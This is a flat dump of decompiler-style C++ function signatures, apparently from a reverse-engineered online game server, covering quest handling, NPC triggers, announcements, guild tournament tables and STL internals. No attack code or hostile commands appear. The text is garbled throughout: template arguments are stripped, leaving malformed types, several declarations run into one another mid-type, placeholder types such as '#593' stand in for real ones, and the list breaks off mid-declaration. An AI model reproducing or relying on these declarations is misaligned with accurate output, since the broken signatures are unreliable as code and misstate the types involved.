std::_Tree_nod,std::allocator,0> >::_Node *_Larg, std::_Tree_nod,std::allocator,0> >::_Node *_Parg, std::_Tree_nod,std::allocator,0> >::_Node *_Rarg, ABSTATEINDEX *_Val, char _Carg); void __thiscall Action::Action(Action *this, ItemAction *actionData); void __thiscall std::_Tree_std::allocator_0>>::_Tree_std::allocator_0>>(std::_Tree,std::allocator,0> > *this, std::less *_Parg, std::allocator *_Al); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::_Tree_std::allocator_0>>::_Tidy(std::_Tree,std::allocator,0> > *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::_Tree_std::allocator_0>>::clear(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::_Tree_std::allocator_0>>::_Tidy(std::_Tree,std::allocator,0> > *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall std::_Tree_std::allocator_0>>::clear(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::set_std::allocator>::set_std::allocator>(std::set,std::allocator > *this); void __thiscall std::_Tree_std::allocator_0>>::_Init(std::_Tree,std::allocator,0> > *this); int __cdecl ZoneServer_zs_start_long(lua_State *L); int __cdecl ZoneServer_zs_start_sleep(lua_State *L); void __thiscall CAnnounceSystem::Send_PROTO_NC_ANNOUNCE_Z2W_CMD(CAnnounceSystem *this, char AnnounceType, const char *Msg); int __thiscall CAnnounceSystem::AnnounceSystem_ItemUpgrade(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID, char nItemLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ItemTake(CAnnounceSystem *this, Name4 *pCharName, unsigned __int16 nItemID); int __thiscall CAnnounceSystem::AnnounceSystem_LevelMax(CAnnounceSystem *this, Name4 *pCharName, char nLevel); int __thiscall CAnnounceSystem::AnnounceSystem_ClassUp(CAnnounceSystem *this, Name4 *pCharName, char nClassID); int __thiscall CAnnounceSystem::AnnounceSystem_CharacterTitle(CAnnounceSystem *this, Name4 *pCharName, char nCTType, char nCTElementNo); int __thiscall CAnnounceSystem::AnnounceSystem_Roar(CAnnounceSystem *this, Name4 *pCharName, const char *Message); int __thiscall CAnnounceSystem::AnnounceSystem_ProposeAccept(CAnnounceSystem *this, Name4 *Requestor, Name4 *Acceptor); int __thiscall CAnnounceSystem::AnnounceSystem_WeddingStart(CAnnounceSystem *this, Name4 *Name1, Name4 *Name2); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_BeReleased(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_ReleaseFromPrison(int this, int mapPos); signed int __stdcall ShineObjectClass::ShineObject::so_Prison_Go(__int16 nPrisonMin); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_Go(void *this, __int16 nPrisonMin); void __stdcall ShineObjectClass::ShineObject::so_Prison_End(int mapname, int coord); void __thiscall ShineObjectClass::ShinePlayer::so_Prison_End(void *this, int mapname, int coord); void __thiscall FieldMap::fm_QuestPS_Start(void *fldindex, char *filename, char *initflag); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GotoElfForest(int this); void __thiscall CQuestZone::CQuestZone(CQuestZone *this, CQuestData *pQuestData); void __thiscall CQuestZone::_CQuestZone(CQuestZone *this); void __thiscall CQuestZone::qz_SetObject(CQuestZone *this, #734 *pPlayer); int __thiscall CQuestZone::IsConnectionEnd(CQuestZone *this, QUEST_DATA *pQuestData, int nMobCount, unsigned __int16 nMobID); int __thiscall CQuestZone::IsConnectionAction(CQuestZone *this, QUEST_DATA *pQuestData, int ActionNo, unsigned __int16 nMobID); char __thiscall CQuestZone::GetQuestPlayerLevel(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerRace(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerClass(CQuestZone *this); char __thiscall CQuestZone::GetQuestPlayerGender(CQuestZone *this); char __thiscall CQuestZone::IsQuestPlayerItemLock(CQuestZone *this, unsigned __int16 nItemID); char __thiscall CQuestZone::IsQuestPlayerChaotic(CQuestZone *this); void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val); void __thiscall CQuestZone::InitNewPlayer(CQuestZone *this); int __thiscall CQuestZone::QuestClose(CQuestZone *this); int __thiscall CQuestZone::QuestCheckRewardInven(CQuestZone *this, int nNumOfNeedEmptyInven, ChargedEffectContainer *cec); int __thiscall CQuestZone::QuestCheckSelectReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestPlayer_NPCClickCheck(CQuestZone *this, unsigned __int16 nNPCID); void __thiscall CQuestZone::GetPlayerCurrentLocation(CQuestZone *this, unsigned __int16 *nLocation, unsigned int *LocationX, unsigned int *LocationY); unsigned __int16 __thiscall CQuestZone::GetQuestPlayerItemLot(CQuestZone *this, unsigned __int16 nItemID); char __thiscall CQuestZone::GetQuestPlayerEmptyInventory(CQuestZone *this); int __thiscall CQuestZone::GetSuccessItemCount(CQuestZone *this, QUEST_DATA *pQuestData, unsigned __int16 nItemID); void __thiscall CQuestZone::Send_NC_QUEST_SCRIPT_CMD_REQ(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_SET_INFO_REQ(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, STRUCT_QSC *pQSC); int __thiscall CQuestZone::Send_NC_QUEST_DB_CLEAR_REQ(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::Send_NC_QUEST_GIVE_UP_ACK(CQuestZone *this, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Send_NC_QUEST_DB_GIVE_UP_REQ(CQuestZone *this, unsigned __int16 nQuestID); void __thiscall CQuestZone::Recv_NC_QUEST_DB_GIVE_UP_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_GIVE_UP_ACK *pAck); int __thiscall CQuestZone::Send_NC_QUEST_CLIENT_SCENARIO_DONE_ACK(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_SCENARIO_RUN_CMD(CQuestZone *this, unsigned __int16 nScenarioID); int __thiscall CQuestZone::Send_NC_QUEST_SELECT_START_ACK(CQuestZone *this, unsigned __int16 nNPCID, unsigned __int16 nID, unsigned __int16 Error); int __thiscall CQuestZone::Recv_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD(CQuestZone *this, PROTO_NC_QUEST_REWARD_SELECT_ITEM_INDEX_CMD *pCmd); int __thiscall CQuestZone::Send_NC_QUEST_REWARD_NEED_SELECT_ITEM_CMD(CQuestZone *this, unsigned __int16 nID); int __thiscall CQuestZone::Send_NC_QUEST_DB_READ_REQ(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_QUEST_DOING_REQ(CQuestZone *this, PROTO_NC_CHARSAVE_QUEST_DOING_REQ *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DOING_CMD *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_DONE_CMD *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_READ_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_READ_CMD *pPacketBuffer); int __thiscall CQuestZone::MakeStruct_NC_CHARSAVE_2WLDMAN_QUEST_REPEAT_CMD(CQuestZone *this, PROTO_NC_CHARSAVE_2WLDMAN_QUEST_REPEAT_CMD *pPacketBuffer); int __thiscall CQuestZone::PsStart(CQuestZone *this, char *pScriptFileName, char *pStartBlockName); int __thiscall CQuestZone::Send_NC_QUEST_DB_DONE_REQ(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem); int __thiscall CQuestZone::QuestStart(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestDoing(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestEnd(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestCheckReward(CQuestZone *this, unsigned __int16 nQuestID, unsigned int nSelectedItem, ChargedEffectContainer *cec); int __thiscall CQuestZone::QuestActionMobKill(CQuestZone *this, PLAYER_QUEST_INFO *pQuestInfo, QUEST_DATA *pQuestData, int ActionNo, #593 *mob); int __thiscall CQuestZone::QuestPlayer_ScenarioDone_Server(CQuestZone *this, unsigned __int16 nScenarioID); void __thiscall CQuestZone::Send_QUEST_ERROR_TO_CLIENT(CQuestZone *this, unsigned __int16 nErrCode); void __thiscall CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(CQuestZone *this, PROTO_NC_QUEST_SCRIPT_CMD_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_GIVE_UP_REQ(CQuestZone *this, PROTO_NC_QUEST_GIVE_UP_REQ *pReq); int __thiscall CQuestZone::Recv_NC_QUEST_CLIENT_SCENARIO_DONE_REQ(CQuestZone *this, PROTO_NC_QUEST_CLIENT_SCENARIO_DONE_REQ *pReq); int __thiscall CQuestZone::QuestPlayer_ScenarioRun(CQuestZone *this, unsigned __int16 nQuestID, STRUCT_QSC *pQSC); int __thiscall CQuestZone::QuestNext(CQuestZone *this); void __thiscall CQuestZone::Recv_NC_QUEST_DB_SET_INFO_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_SET_INFO_ACK *pAck); void __thiscall CQuestZone::Recv_NC_QUEST_DB_CLEAR_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_CLEAR_ACK *pAck); void __thiscall CQuestZone::Recv_NC_ITEMDB_QUESTREWARD_ACK(CQuestZone *this, PROTO_NC_ITEMDB_QUESTREWARD_ACK *pAck); int __thiscall CQuestZone::PsEnd(CQuestZone *this, unsigned int nResult); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Return2Quest(void *this, unsigned int returnvalue); int __thiscall CQuestZone::Recv_NC_QUEST_DB_DONE_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_DONE_ACK *pDoneAck); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ufill(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Ptr, unsigned int _Count, std::list,std::allocator > >::iterator *_Val); int __thiscall CQuestZone::QuestScriptRun(CQuestZone *this, PLAYER_QUEST_STATUS nStatus, unsigned __int16 nQuestID); int __thiscall CQuestZone::QuestPlayer_NPCClick(CQuestZone *this, unsigned __int16 nNPCID); int __thiscall CQuestZone::QuestPlayer_NotCheckNPC(CQuestZone *this, unsigned __int16 nQuestID); int __thiscall CQuestZone::Recv_NC_QUEST_SELECT_START_REQ(CQuestZone *this, PROTO_NC_QUEST_SELECT_START_REQ *pReq); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *_Val); int __thiscall CQuestZone::Send_NC_QUEST_NOTIFY_MOB_KILL_CMD(CQuestZone *this, std::vector > *Datas); void __thiscall CQuestZone::Recv_NC_QUEST_DB_READ_ACK(CQuestZone *this, PROTO_NC_QUEST_DB_READ_ACK *pAck); void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_QUEST_NOTIFY_MOB_KILL_CMD::MobOfQuest *_Val); int __thiscall CQuestZone::QuestPlayer_NPCMobKill(CQuestZone *this, #593 *mob); void __thiscall NPCAction::InteractAction::exe(NPCAction::InteractAction *this, #593 *, #593 *); void __thiscall NPCAction::DispelAction::exe(NPCAction::DispelAction *this, #593 *, #593 *); void __thiscall NPCAction::EmotionlAction::exe(NPCAction::EmotionlAction *this, #593 *, #593 *); void __thiscall NPCAction::AbStateAction::exe(NPCAction::AbStateAction *this, #593 *, #593 *); void __thiscall NPCAction::SkillAction::SkillAction(NPCAction::SkillAction *this, const unsigned __int16 skillID); void __thiscall NPCAction::SkillAction::exe(NPCAction::SkillAction *this, #593 *, #593 *); void __thiscall NPCAction::DieAction::exe(NPCAction::DieAction *this, #593 *, #593 *); void __thiscall NPCAction::GTItemAction::exe(NPCAction::GTItemAction *this, #593 *, #593 *); void __thiscall NPCAction::DamageAbsorbAction::exe(NPCAction::DamageAbsorbAction *this, #593 *, #593 *); void __thiscall NPCAction::BallAction::exe(NPCAction::BallAction *this, #593 *, #593 *); void *__thiscall NPCAction::GTItemAction::_scalar_deleting_destructor_(NPCAction::BallAction *this, unsigned int); unsigned int __thiscall NPCAction::ActionGen_OptionReader::size(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::NoticeAction::exe(NPCAction::NoticeAction *this, #593 *, #593 *); void __thiscall NPCAction::NoticeAction::NoticeAction(NPCAction::NoticeAction *this, const char *content); void *__thiscall NPCAction::NoticeAction::_scalar_deleting_destructor_(NPCAction::NoticeAction *this, unsigned int); void __thiscall NPCAction::NoticeAction::_NoticeAction(NPCAction::NoticeAction *this); NPCAction::IAction *__thiscall NPCAction::ActionGen_OptionReader::operator__(NPCAction::ActionGen_OptionReader *this); void __thiscall NPCAction::ActionGen_OptionReader::ActionGen_OptionReader(NPCAction::ActionGen_OptionReader *this, OptionReader *optionReader); unsigned __int16 __thiscall NPCAction::NoneCondition::notify(NPCAction::NoneCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); bool __thiscall NPCAction::NoneCondition::needToAttach(NPCAction::NoneCondition *this); unsigned __int16 __thiscall NPCAction::ABStateCondition::notify(NPCAction::ABStateCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::SkillCondition::notify(NPCAction::SkillCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::DeadCondition::notify(NPCAction::DeadCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::EmotionCondition::notify(NPCAction::EmotionCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::DamageApplyCondition::notify(NPCAction::DamageApplyCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::CheckCyclePartyCondition::notify(NPCAction::CheckCyclePartyCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); unsigned __int16 __thiscall NPCAction::LocationCondition::notify(NPCAction::LocationCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); void __thiscall NPCAction::ICondition::ICondition(NPCAction::ICondition *this); bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this); void __thiscall NPCAction::ABStateCondition::ABStateCondition(NPCAction::ABStateCondition *this, ABSTATEINDEX index, const unsigned int termLow, const unsigned int termHigh); bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this); bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this); bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this); void __thiscall NPCAction::SkillCondition::SkillCondition(NPCAction::SkillCondition *this, const unsigned __int16 skillID, const unsigned int termLow, const unsigned int termHigh); void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh); unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this); void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this); void __thiscall NPCAction::DamageApplyCondition::DamageApplyCondition(NPCAction::DamageApplyCondition *this); void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::DamageApplyCondition *this, unsigned int); void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::DamageApplyCondition *this); bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this); unsigned __int16 __thiscall NPCAction::GT_TeamCondition::notify(NPCAction::GT_TeamCondition *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this); void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection); void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this); unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this); NPCAction::doTriggers_ *__cdecl std::for_each>::iterator_NPCAction::doTriggers_>(NPCAction::doTriggers_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::doTriggers_ _Func); char __thiscall NeighborhoodChecker::ali_Work(NeighborhoodChecker *this, #593 *, #593 *, unsigned int); void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this); void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this); void __thiscall std::pair>>::_pair>>(std::pair > > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L170201(int a1); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that); void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int); NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func); void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val); NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode); NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L172160(int a1); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val); std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val); int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); bool __cdecl NPCAction::Util::loadTriggers(); void __thiscall NPCAction::doTriggers_::doTriggers_(ShineRTTI *this, const char *pcName, ShineRTTI *pkBaseRTTI); unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this); NPCAction::Trigger::doAction_ *__cdecl std::for_each>::iterator_NPCAction::Trigger::doAction_>(NPCAction::Trigger::doAction_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::Trigger::doAction_ _Func); unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #593 *, #593 *, IObserver::Event, const unsigned int, const int, unsigned int, Metronome *); void __thiscall NPCAction::doTriggers_::operator__(NPCAction::doTriggers_ *this, NPCAction::Trigger *trigger); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this); bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this); unsigned int __thiscall NPCAction::Trigger::GetConditionTick(NPCAction::Trigger *this); // int Concurrency::details::EventWaitNode::Sweep(); weak NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val); void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val); void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader); int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord); std::basic_string,std::allocator > *__cdecl Table::GetTableDir(); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this); unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim); unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType); unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType); GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber); unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point); char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level); bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this); GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName); std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::SetTableDir(const char *pkDir); std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L78560(int a1); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(...); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval); int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel); bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this); char __cdecl SetEffectTable::FindActionID(const char *pSetItemIndex, int nCount, unsigned __int16 *pActionID); char __cdecl ActionEffectAbStateTable::FindActionID(const char *pAbstateIndex, unsigned __int16 *pActionID); char __thiscall EnchantSocketRateTable::EnchantSocketRateDataChild::iod_GetSocketCount(EnchantSocketRateTable::EnchantSocketRateDataChild *this, unsigned __int16 ItemID); bool __thiscall EnchantSocketRateTable::DataProcess(EnchantSocketRateTable *this); void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode); ActionEffectItem *__cdecl ActionEffectItemTable::GetByID(unsigned __int16 itemID); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where); std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val); int std::_Tree_std::allocator>_1>>::erase(...); bool __thiscall ActionEffectItemTable::DataProcess(ActionEffectItemTable *this); void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this); char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord); int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv); int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv); int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv); bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid); std::_Tree_nod,std::allocator >,0> >::_Node *__thiscall 